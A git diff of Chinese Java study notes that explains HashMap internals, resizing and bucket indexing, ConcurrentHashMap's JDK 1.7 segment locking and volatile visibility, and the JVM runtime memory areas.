||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 拉链法的工作原理
|
||||
|
||||
```java
|
||||
HashMap<String, String> map = new HashMap<>();
|
||||
map.put("K1", "V1");
|
||||
map.put("K2", "V2");
|
||||
map.put("K3", "V3");
|
||||
```
|
||||
|
||||
- 新建一个 HashMap,默认大小为 16;
|
||||
- 插入 <K1,V1> 键值对,先计算 K1 的 hashCode 为 115,使用除留余数法得到所在的桶下标 115%16=3。
|
||||
- 插入 <K2,V2> 键值对,先计算 K2 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6。
|
||||
- 插入 <K3,V3> 键值对,先计算 K3 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6,插在 <K2,V2> 后面。
|
||||
|
||||
<div align="center"> <img src="../pics//07903a31-0fb3-45fc-86f5-26f0b28fa4e7.png" width="600"/> </div><br>
|
||||
|
||||
查找需要分成两步进行:
|
||||
|
||||
- 计算键值对所在的桶;
|
||||
- 在链表上顺序查找,时间复杂度显然和链表的长度成正比。
|
||||
|
||||
### 3. 链表转红黑树
|
||||
|
||||
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
|
||||
|
||||
### 4. 扩容
|
||||
|
||||
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
|
||||
|
||||
设 HashMap 的 table 长度为 M,需要存储的键值对数量为 N,如果哈希函数满足均匀性的要求,那么每条链表的长度大约为 N/M,因此平均查找次数的数量级为 O(N/M)。
|
||||
|
||||
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
|
||||
|
||||
和扩容相关的参数主要有:capacity、size、threshold 和 load_factor。
|
||||
|
||||
| 参数 | 含义 |
|
||||
| :--: | :-- |
|
||||
| capacity | table 的容量大小,默认为 16,需要注意的是 capacity 必须保证为 2 的次方。|
|
||||
| size | table 的实际使用量。 |
|
||||
| threshold | size 的临界值,size 必须小于 threshold,如果大于等于,就必须进行扩容操作。 |
|
||||
| load_factor | table 能够使用的比例,threshold = capacity * load_factor。|
|
||||
|
||||
```java
|
||||
static final int DEFAULT_INITIAL_CAPACITY = 16;
|
||||
@ -282,83 +359,357 @@ void addEntry(int hash, K key, V value, int bucketIndex) {
|
||||
}
|
||||
```
|
||||
|
||||
Entry 用来表示一个键值对元素,其中的 next 指针在序列化时会使用。
|
||||
扩容使用 resize() 实现,需要注意的是,扩容操作同样需要把旧 table 的所有键值对重新插入新的 table 中,因此这一步是很费时的。
|
||||
|
||||
```java
|
||||
static class Entry<K,V> implements Map.Entry<K,V> {
|
||||
final K key;
|
||||
V value;
|
||||
Entry<K,V> next;
|
||||
final int hash;
|
||||
}
|
||||
```
|
||||
|
||||
get() 操作需要分成两种情况,key 为 null 和 不为 null,从中可以看出 HashMap 允许插入 null 作为键。
|
||||
|
||||
```java
|
||||
public V get(Object key) {
|
||||
if (key == null)
|
||||
return getForNullKey();
|
||||
int hash = hash(key.hashCode());
|
||||
for (Entry<K,V> e = table[indexFor(hash, table.length)]; e != null; e = e.next) {
|
||||
Object k;
|
||||
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
|
||||
return e.value;
|
||||
void resize(int newCapacity) {
|
||||
Entry[] oldTable = table;
|
||||
int oldCapacity = oldTable.length;
|
||||
if (oldCapacity == MAXIMUM_CAPACITY) {
|
||||
threshold = Integer.MAX_VALUE;
|
||||
return;
|
||||
}
|
||||
return null;
|
||||
|
||||
Entry[] newTable = new Entry[newCapacity];
|
||||
transfer(newTable);
|
||||
table = newTable;
|
||||
threshold = (int)(newCapacity * loadFactor);
|
||||
}
|
||||
```
|
||||
|
||||
put() 操作也需要根据 key 是否为 null 做不同的处理,需要注意的是如果本来没有 key 为 null 的键值对,新插入一个 key 为 null 的键值对时默认是放在数组的 0 位置,这是因为 null 不能计算 hash 值,也就无法知道应该放在哪个链表上。
|
||||
|
||||
```java
|
||||
public V put(K key, V value) {
|
||||
if (key == null)
|
||||
return putForNullKey(value);
|
||||
int hash = hash(key.hashCode());
|
||||
int i = indexFor(hash, table.length);
|
||||
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
|
||||
Object k;
|
||||
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
|
||||
V oldValue = e.value;
|
||||
e.value = value;
|
||||
e.recordAccess(this);
|
||||
return oldValue;
|
||||
void transfer(Entry[] newTable) {
|
||||
Entry[] src = table;
|
||||
int newCapacity = newTable.length;
|
||||
for (int j = 0; j < src.length; j++) {
|
||||
Entry<K,V> e = src[j];
|
||||
if (e != null) {
|
||||
src[j] = null;
|
||||
do {
|
||||
Entry<K,V> next = e.next;
|
||||
int i = indexFor(e.hash, newCapacity);
|
||||
e.next = newTable[i];
|
||||
newTable[i] = e;
|
||||
e = next;
|
||||
} while (e != null);
|
||||
}
|
||||
}
|
||||
|
||||
modCount++;
|
||||
addEntry(hash, key, value, i);
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
### 5. 确定桶下标
|
||||
|
||||
很多操作都需要先确定一个键值对所在的桶下标,需要分三步进行。
|
||||
|
||||
(一)hashCode()
|
||||
|
||||
调用 Key 的 hashCode() 方法得到 hashCode。
|
||||
|
||||
```java
|
||||
private V putForNullKey(V value) {
|
||||
for (Entry<K,V> e = table[0]; e != null; e = e.next) {
|
||||
if (e.key == null) {
|
||||
V oldValue = e.value;
|
||||
e.value = value;
|
||||
e.recordAccess(this);
|
||||
return oldValue;
|
||||
}
|
||||
}
|
||||
modCount++;
|
||||
addEntry(0, null, value, 0);
|
||||
return null;
|
||||
public final int hashCode() {
|
||||
return Objects.hashCode(key) ^ Objects.hashCode(value);
|
||||
}
|
||||
```
|
||||
|
||||
## 6. LinkedHashMap
|
||||
(二)高位运算
|
||||
|
||||
将 hashCode 的高 16 位和低 16 位进行异或操作,使得在数组比较小时,也能保证高低位都参与到了哈希计算中。
|
||||
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
|
||||
(三)除留余数法
|
||||
|
||||
令 x = 1<<4,即 x 为 2 的 4 次方,它具有以下性质:
|
||||
|
||||
```
|
||||
x : 00010000
|
||||
x-1 : 00001111
|
||||
```
|
||||
|
||||
令一个数 y 与 x-1 做与运算,可以去除 y 位级表示的第 4 位及以上数:
|
||||
|
||||
```
|
||||
y : 10110010
|
||||
x-1 : 00001111
|
||||
y&(x-1) : 00000010
|
||||
```
|
||||
|
||||
这个性质和 y 对 x 取模效果是一样的:
|
||||
|
||||
```
|
||||
x : 00010000
|
||||
y : 10110010
|
||||
y%x : 00000010
|
||||
```
|
||||
|
||||
我们知道,位运算的代价比求模运算小的多,因此在进行这种计算时能用位运算的话能带来更高的性能。
|
||||
|
||||
拉链法需要使用除留余数法来得到桶下标,也就是需要进行以下计算:hash%capacity,如果能保证 capacity 为 2 的幂次方,那么就可以将这个操作转换位位运算。
|
||||
|
||||
以下操作在 Java 8 中没有,但是原理上相同。
|
||||
|
||||
```java
|
||||
static int indexFor(int h, int length) {
|
||||
return h & (length-1);
|
||||
}
|
||||
```
|
||||
|
||||
### 6. 扩容-重新计算桶下标
|
||||
|
||||
在进行扩容时,需要把 Node 重新放到对应的桶上。HashMap 使用了一个特殊的机制,可以降低重新计算桶下标的操作。
|
||||
|
||||
假设原数组长度 capacity 为 8,扩容之后 new capacity 为 16:
|
||||
|
||||
```html
|
||||
capacity : 00010000
|
||||
new capacity : 00100000
|
||||
```
|
||||
|
||||
对于一个 Key,它的 hashCode 如果在第 6 位上为 0,那么除留余数得到的结果和之前一样;如果为 1,那么得到的结果为原来的结果 + 8。
|
||||
|
||||
### 7. 扩容-计算数组容量
|
||||
|
||||
先考虑如何求一个数的补码,对于 10010000,它的掩码为 11111111,可以使用以下方法得到:
|
||||
|
||||
```
|
||||
mask |= mask >> 1 11011000
|
||||
mask |= mask >> 2 11111100
|
||||
mask |= mask >> 4 11111111
|
||||
```
|
||||
|
||||
如果最后令 mask+1,得到就是大于原始数字的最小的 2 次方。
|
||||
|
||||
以下是 HashMap 中计算一个大小所需要的数组容量的代码:
|
||||
|
||||
```java
|
||||
static final int tableSizeFor(int cap) {
|
||||
int n = cap - 1;
|
||||
n |= n >>> 1;
|
||||
n |= n >>> 2;
|
||||
n |= n >>> 4;
|
||||
n |= n >>> 8;
|
||||
n |= n >>> 16;
|
||||
return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
|
||||
}
|
||||
```
|
||||
|
||||
### 7. null 值
|
||||
|
||||
HashMap 允许有一个 Node 的 Key 为 null,该 Node 一定会放在第 0 个桶的位置,因为这个 Key 无法计算 hashCode(),因此只能规定一个桶让它存放。
|
||||
|
||||
### 8. 与 HashTable 的区别
|
||||
|
||||
- HashTable 是同步的,它使用了 synchronized 来进行同步。它也是线程安全的,多个线程可以共享同一个 HashTable。HashMap 不是同步的,但是可以使用 ConcurrentHashMap,它是 HashTable 的替代,而且比 HashTable 可扩展性更好。
|
||||
- HashMap 可以插入键为 null 的 Entry。
|
||||
- HashMap 的迭代器是 fail-fast 迭代器,而 Hashtable 的 enumerator 迭代器不是 fail-fast 的。
|
||||
- 由于 Hashtable 是线程安全的也是 synchronized,所以在单线程环境下它比 HashMap 要慢。
|
||||
- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
|
||||
|
||||
## LinkedHashMap
|
||||
|
||||
[LinkedHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
|
||||
## 7. ConcurrentHashMap
|
||||
## ConcurrentHashMap - JDK 1.7
|
||||
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/1.7/ConcurrentHashMap.java)
|
||||
|
||||
[ 探索 ConcurrentHashMap 高并发性的实现机制 ](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
|
||||
ConcurrentHashMap 和 HashMap 实现上类似,最主要的差别是 ConcurrentHashMap 采用了了分段锁,每个分段锁维护着几个桶,多个线程可以同时访问不同分段锁上的桶。
|
||||
|
||||
相比于 HashTable 和用同步包装器包装的 HashMap(Collections.synchronizedMap(new HashMap())),ConcurrentHashMap 拥有更高的并发性。在 HashTable 和由同步包装器包装的 HashMap 中,使用一个全局的锁来同步不同线程间的并发访问。同一时间点,只能有一个线程持有锁,也就是说在同一时间点,只能有一个线程能访问容器。这虽然保证多线程间的安全并发访问,但同时也导致对容器的访问变成串行化的了。
|
||||
|
||||
### 1. 存储结构
|
||||
|
||||
和 HashMap 类似。
|
||||
|
||||
```java
|
||||
static final class HashEntry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
volatile V value;
|
||||
volatile HashEntry<K,V> next;
|
||||
}
|
||||
```
|
||||
|
||||
继承自 ReentrantLock,每个 Segment 维护着多个 HashEntry。
|
||||
|
||||
```java
|
||||
static final class Segment<K,V> extends ReentrantLock implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 2249069246763182397L;
|
||||
|
||||
static final int MAX_SCAN_RETRIES =
|
||||
Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
|
||||
|
||||
transient volatile HashEntry<K,V>[] table;
|
||||
|
||||
transient int count;
|
||||
|
||||
transient int modCount;
|
||||
|
||||
transient int threshold;
|
||||
|
||||
final float loadFactor;
|
||||
}
|
||||
```
|
||||
|
||||
```java
|
||||
final Segment<K,V>[] segments;
|
||||
```
|
||||
|
||||
默认的并发级别为 16,也就是说默认创建 16 个 Segment。
|
||||
|
||||
```java
|
||||
static final int DEFAULT_CONCURRENCY_LEVEL = 16;
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//image005.jpg"/> </div><br>
|
||||
|
||||
### 2. HashEntry 的不可变性
|
||||
|
||||
HashEntry 中的 key,hash,next 都声明为 final 型。这意味着,不能把节点添加到链接的中间和尾部,也不能在链接的中间和尾部删除节点。这个特性可以保证:在访问某个节点时,这个节点之后的链接不会被改变。这个特性可以大大降低处理链表时的复杂性。
|
||||
|
||||
同时,HashEntry 类的 value 域被声明为 Volatile 型,Java 的内存模型可以保证:某个写线程对 value 域的写入马上可以被后续的某个读线程 “看” 到。在 ConcurrentHashMap 中,不允许用 null 作为键和值,当读线程读到某个 HashEntry 的 value 域的值为 null 时,便知道产生了冲突——发生了重排序现象,需要加锁后重新读入这个 value 值。这些特性互相配合,使得读线程即使在不加锁状态下,也能正确访问 ConcurrentHashMap。
|
||||
|
||||
```java
|
||||
final V remove(Object key, int hash, Object value) {
|
||||
if (!tryLock())
|
||||
scanAndLock(key, hash);
|
||||
V oldValue = null;
|
||||
try {
|
||||
HashEntry<K,V>[] tab = table;
|
||||
int index = (tab.length - 1) & hash;
|
||||
HashEntry<K,V> e = entryAt(tab, index);
|
||||
HashEntry<K,V> pred = null;
|
||||
while (e != null) {
|
||||
K k;
|
||||
HashEntry<K,V> next = e.next;
|
||||
if ((k = e.key) == key ||
|
||||
(e.hash == hash && key.equals(k))) {
|
||||
V v = e.value;
|
||||
if (value == null || value == v || value.equals(v)) {
|
||||
if (pred == null)
|
||||
setEntryAt(tab, index, next);
|
||||
else
|
||||
pred.setNext(next);
|
||||
++modCount;
|
||||
--count;
|
||||
oldValue = v;
|
||||
}
|
||||
break;
|
||||
}
|
||||
pred = e;
|
||||
e = next;
|
||||
}
|
||||
} finally {
|
||||
unlock();
|
||||
}
|
||||
return oldValue;
|
||||
}
|
||||
```
|
||||
|
||||
在以下链表中删除 C 节点,C 节点之后的所有节点都原样保留,C 节点之前的所有节点都被克隆到新的链表中,并且顺序被反转。可以注意到,在执行 remove 操作时,原始链表并没有被修改,也就是说,读线程不会受到执行 remove 操作的并发写线程的干扰。
|
||||
|
||||
<div align="center"> <img src="../pics//image007.jpg"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//image008.jpg"/> </div><br>
|
||||
|
||||
除了 remove 操作,其它操作也类似。可以得出一个结论:写线程对某个链表的结构性修改不会影响其他的并发读线程对这个链表的遍历访问。
|
||||
|
||||
### 3. Volatile 变量
|
||||
|
||||
```java
|
||||
static final class HashEntry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
volatile V value;
|
||||
volatile HashEntry<K,V> next;
|
||||
}
|
||||
```
|
||||
|
||||
由于内存可见性问题,未正确同步的情况下,写线程写入的值可能并不为后续的读线程可见。
|
||||
|
||||
下面以写线程 M 和读线程 N 来说明 ConcurrentHashMap 如何协调读 / 写线程间的内存可见性问题。
|
||||
|
||||
<div align="center"> <img src="../pics//image009.jpg"/> </div><br>
|
||||
|
||||
假设线程 M 在写入了 volatile 型变量 count 后,线程 N 读取了这个 volatile 型变量 count。
|
||||
|
||||
根据 happens-before 关系法则中的程序次序法则,A appens-before 于 B,C happens-before D。
|
||||
|
||||
根据 Volatile 变量法则,B happens-before C。
|
||||
|
||||
根据传递性,连接上面三个 happens-before 关系得到:A appens-before 于 B; B appens-before C;C happens-before D。也就是说:写线程 M 对链表做的结构性修改,在读线程 N 读取了同一个 volatile 变量后,对线程 N 也是可见的了。
|
||||
|
||||
虽然线程 N 是在未加锁的情况下访问链表。Java 的内存模型可以保证:只要之前对链表做结构性修改操作的写线程 M 在退出写方法前写 volatile 型变量 count,读线程 N 在读取这个 volatile 型变量 count 后,就一定能 “看到” 这些修改。
|
||||
|
||||
ConcurrentHashMap 中,每个 Segment 都有一个变量 count。它用来统计 Segment 中的 HashEntry 的个数。这个变量被声明为 volatile。
|
||||
|
||||
```java
|
||||
transient volatile int count;
|
||||
```
|
||||
|
||||
所有不加锁读方法,在进入读方法时,首先都会去读这个 count 变量。比如下面的 get 方法:
|
||||
|
||||
```java
|
||||
V get(Object key, int hash) {
|
||||
if(count != 0) { // 首先读 count 变量
|
||||
HashEntry<K,V> e = getFirst(hash);
|
||||
while(e != null) {
|
||||
if(e.hash == hash && key.equals(e.key)) {
|
||||
V v = e.value;
|
||||
if(v != null)
|
||||
return v;
|
||||
// 如果读到 value 域为 null,说明发生了重排序,加锁后重新读取
|
||||
return readValueUnderLock(e);
|
||||
}
|
||||
e = e.next;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
在 ConcurrentHashMap 中,所有执行写操作的方法(put, remove, clear),在对链表做结构性修改之后,在退出写方法前都会去写这个 count 变量。所有未加锁的读操作(get, contains, containsKey)在读方法中,都会首先去读取这个 count 变量。
|
||||
|
||||
根据 Java 内存模型,对 同一个 volatile 变量的写 / 读操作可以确保:写线程写入的值,能够被之后未加锁的读线程 “看到”。
|
||||
|
||||
这个特性和前面介绍的 HashEntry 对象的不变性相结合,使得在 ConcurrentHashMap 中,读线程在读取散列表时,基本不需要加锁就能成功获得需要的值。这两个特性相配合,不仅减少了请求同一个锁的频率(读操作一般不需要加锁就能够成功获得值),也减少了持有同一个锁的时间(只有读到 value 域的值为 null 时 ,读线程才需要加锁后重读)。
|
||||
|
||||
### 4. 小结
|
||||
|
||||
ConcurrentHashMap 的高并发性主要来自于三个方面:
|
||||
|
||||
- 用分离锁实现多个线程间的更深层次的共享访问。
|
||||
- 用 HashEntery 对象的不变性来降低执行读操作的线程在遍历链表期间对加锁的需求。
|
||||
- 通过对同一个 Volatile 变量的写 / 读访问,协调不同线程间读 / 写操作的内存可见性。
|
||||
|
||||
## ConcurrentHashMap - JDK 1.8
|
||||
|
||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
|
||||
|
||||
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment,它继承自重入锁 ReentrantLock。
|
||||
|
||||
JDK 1.8 的实现不是用了 Segment,Segment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized,主要是出于以下考虑:
|
||||
|
||||
1. synchronized 的锁粒度更低;
|
||||
2. synchronized 优化空间更大;
|
||||
3. 在大量数据操作的情况下,ReentrantLock 会开销更多的内存。
|
||||
|
||||
并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Java 编程思想
|
||||
- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
|
||||
- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
|
||||
- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
|
||||
- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java-hashmap.html)
|
||||
- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
|
||||
- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
|
||||
- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
|
||||
- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
|
||||
- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
|
||||
- [Java 集合细节(二):asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
|
||||
|
||||
|
1855
notes/Java 并发.md
@ -1,144 +1,132 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [内存模型](#内存模型)
|
||||
* [1. 程序计数器](#1-程序计数器)
|
||||
* [2. Java 虚拟机栈](#2-java-虚拟机栈)
|
||||
* [3. 本地方法栈](#3-本地方法栈)
|
||||
* [4. Java 堆](#4-java-堆)
|
||||
* [5. 方法区](#5-方法区)
|
||||
* [6. 运行时常量池](#6-运行时常量池)
|
||||
* [7. 直接内存](#7-直接内存)
|
||||
* [垃圾收集](#垃圾收集)
|
||||
* [1. 判断一个对象是否可回收](#1-判断一个对象是否可回收)
|
||||
* [1.1 引用计数](#11-引用计数)
|
||||
* [1.2 可达性](#12-可达性)
|
||||
* [1.3 引用类型](#13-引用类型)
|
||||
* [1.3.1 强引用](#131-强引用)
|
||||
* [1.3.2 软引用](#132-软引用)
|
||||
* [1.3.3 弱引用](#133-弱引用)
|
||||
* [1.3.4 虚引用](#134-虚引用)
|
||||
* [1.3 方法区的回收](#13-方法区的回收)
|
||||
* [1.4 finalize()](#14-finalize)
|
||||
* [2. 垃圾收集算法](#2-垃圾收集算法)
|
||||
* [2.1 标记-清除算法](#21-标记-清除算法)
|
||||
* [2.2 复制算法](#22-复制算法)
|
||||
* [2.3 标记-整理算法](#23-标记-整理算法)
|
||||
* [2.4 分代收集算法](#24-分代收集算法)
|
||||
* [3. 垃圾收集器](#3-垃圾收集器)
|
||||
* [3.1 Serial 收集器](#31-serial-收集器)
|
||||
* [3.2 ParNew 收集器](#32-parnew-收集器)
|
||||
* [3.3 Parallel Scavenge 收集器](#33-parallel-scavenge-收集器)
|
||||
* [3.4 Serial Old 收集器](#34-serial-old-收集器)
|
||||
* [3.5 Parallel Old 收集器](#35-parallel-old-收集器)
|
||||
* [3.6 CMS 收集器](#36-cms-收集器)
|
||||
* [3.7 G1 收集器](#37-g1-收集器)
|
||||
* [3.8 七种垃圾收集器的比较](#38-七种垃圾收集器的比较)
|
||||
* [4. 内存分配与回收策略](#4-内存分配与回收策略)
|
||||
* [4.1 优先在 Eden 分配](#41-优先在-eden-分配)
|
||||
* [4.2 大对象直接进入老年代](#42-大对象直接进入老年代)
|
||||
* [4.3 长期存活的对象进入老年代](#43-长期存活的对象进入老年代)
|
||||
* [4.4 动态对象年龄判定](#44-动态对象年龄判定)
|
||||
* [4.5 空间分配担保](#45-空间分配担保)
|
||||
* [4.6 Full GC 的触发条件](#46-full-gc-的触发条件)
|
||||
* [4.6.1 调用 System.gc()](#461-调用-systemgc)
|
||||
* [4.6.2 老年代空间不足](#462-老年代空间不足)
|
||||
* [4.6.3 空间分配担保失败](#463-空间分配担保失败)
|
||||
* [4.6.4 JDK 1.7 及以前的永久代空间不足](#464-jdk-17-及以前的永久代空间不足)
|
||||
* [4.6.5 Concurrent Mode Failure](#465-concurrent-mode-failure)
|
||||
* [类加载机制](#类加载机制)
|
||||
* [1 类的生命周期](#1-类的生命周期)
|
||||
* [2. 类初始化时机](#2-类初始化时机)
|
||||
* [3. 类加载过程](#3-类加载过程)
|
||||
* [3.1 加载](#31-加载)
|
||||
* [3.2 验证](#32-验证)
|
||||
* [3.3 准备](#33-准备)
|
||||
* [3.4 解析](#34-解析)
|
||||
* [3.5 初始化](#35-初始化)
|
||||
* [4. 类加载器](#4-类加载器)
|
||||
* [4.1 类与类加载器](#41-类与类加载器)
|
||||
* [4.2 类加载器分类](#42-类加载器分类)
|
||||
* [4.3 双亲委派模型](#43-双亲委派模型)
|
||||
* [JVM 参数](#jvm-参数)
|
||||
* [一、运行时数据区域](#一运行时数据区域)
|
||||
* [程序计数器](#程序计数器)
|
||||
* [虚拟机栈](#虚拟机栈)
|
||||
* [本地方法栈](#本地方法栈)
|
||||
* [堆](#堆)
|
||||
* [方法区](#方法区)
|
||||
* [运行时常量池](#运行时常量池)
|
||||
* [直接内存](#直接内存)
|
||||
* [二、垃圾收集](#二垃圾收集)
|
||||
* [判断一个对象是否可回收](#判断一个对象是否可回收)
|
||||
* [垃圾收集算法](#垃圾收集算法)
|
||||
* [垃圾收集器](#垃圾收集器)
|
||||
* [内存分配与回收策略](#内存分配与回收策略)
|
||||
* [Full GC 的触发条件](#full-gc-的触发条件)
|
||||
* [三、类加载机制](#三类加载机制)
|
||||
* [类的生命周期](#类的生命周期)
|
||||
* [类初始化时机](#类初始化时机)
|
||||
* [类加载过程](#类加载过程)
|
||||
* [类加载器](#类加载器)
|
||||
* [四、JVM 参数](#四jvm-参数)
|
||||
* [GC 优化配置](#gc-优化配置)
|
||||
* [GC 类型设置](#gc-类型设置)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 内存模型
|
||||
# 一、运行时数据区域
|
||||
|
||||
<div align="center"> <img src="../pics//dc695f48-4189-4fc7-b950-ed25f6c80f82.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
|
||||
|
||||
注:白色区域为线程私有的,蓝色区域为线程共享的。
|
||||
## 程序计数器
|
||||
|
||||
## 1. 程序计数器
|
||||
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
|
||||
|
||||
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是 Native 方法则为空)。
|
||||
## 虚拟机栈
|
||||
|
||||
## 2. Java 虚拟机栈
|
||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||
|
||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||
<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
|
||||
|
||||
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
|
||||
|
||||
```java
|
||||
java -Xss=512M HackTheJava
|
||||
```
|
||||
|
||||
该区域可能抛出以下异常:
|
||||
|
||||
1. 当线程请求的栈深度超过最大值,会抛出 StackOverflowError 异常;
|
||||
2. 栈进行动态扩展时如果无法申请到足够内存,会抛出 OutOfMemoryError 异常。
|
||||
|
||||
## 3. 本地方法栈
|
||||
## 本地方法栈
|
||||
|
||||
本地方法不是用 Java 实现,对待这些方法需要特别处理。
|
||||
|
||||
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
|
||||
|
||||
## 4. Java 堆
|
||||
<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
|
||||
|
||||
## 堆
|
||||
|
||||
所有对象实例都在这里分配内存。
|
||||
|
||||
这块区域是垃圾收集器管理的主要区域("GC 堆 ")。现在收集器基本都是采用分代收集算法,Java 堆还可以分成:新生代和老年代(新生代还可以分成 Eden 空间、From Survivor 空间、To Survivor 空间等)。
|
||||
是垃圾收集的主要区域("GC 堆"),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
|
||||
|
||||
不需要连续内存,可以通过 -Xmx 和 -Xms 来控制动态扩展内存大小,如果动态扩展失败会抛出 OutOfMemoryError 异常。
|
||||
- 新生代(Young Generation)
|
||||
- 老年代(Old Generation)
|
||||
- 永久代(Permanent Generation)
|
||||
|
||||
## 5. 方法区
|
||||
当一个对象被创建时,它首先进入新生代,之后有可能被转移到老年代中。新生代存放着大量的生命很短的对象,因此新生代在三个区域中垃圾回收的频率最高。为了更高效地进行垃圾回收,把新生代继续划分成以下三个空间:
|
||||
|
||||
用于存放已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
|
||||
- Eden
|
||||
- From Survivor
|
||||
- To Survivor
|
||||
|
||||
<div align="center"> <img src="../pics//ppt_img.gif" width=""/> </div><br>
|
||||
|
||||
Java 堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
|
||||
|
||||
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
|
||||
|
||||
```java
|
||||
java -Xms=1M -Xmx=2M HackTheJava
|
||||
```
|
||||
|
||||
## 方法区
|
||||
|
||||
用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
|
||||
|
||||
和 Java 堆一样不需要连续的内存,并且可以动态扩展,动态扩展失败一样会抛出 OutOfMemoryError 异常。
|
||||
|
||||
对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载,但是一般比较难实现,HotSpot 虚拟机把它当成永久代来进行垃圾回收。
|
||||
|
||||
## 6. 运行时常量池
|
||||
## 运行时常量池
|
||||
|
||||
运行时常量池是方法区的一部分。
|
||||
|
||||
类加载后,Class 文件中的常量池(用于存放编译期生成的各种字面量和符号引用)就会被放到这个区域。
|
||||
Class 文件中的常量池(编译器生成的各种字面量和符号引用)会在类加载后被放入这个区域。
|
||||
|
||||
在运行期间也可以用过 String 类的 intern() 方法将新的常量放入该区域。
|
||||
除了在编译期生成的常量,还允许动态生成,例如 String 类的 intern()。这部分常量也会被放入运行时常量池。
|
||||
|
||||
## 7. 直接内存
|
||||
## 直接内存
|
||||
|
||||
在 JDK 1.4 中新加入了 NIO 类,引入了一种基于通道(Channel)与缓冲区(Buffer)的 I/O 方式,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||
|
||||
# 垃圾收集
|
||||
# 二、垃圾收集
|
||||
|
||||
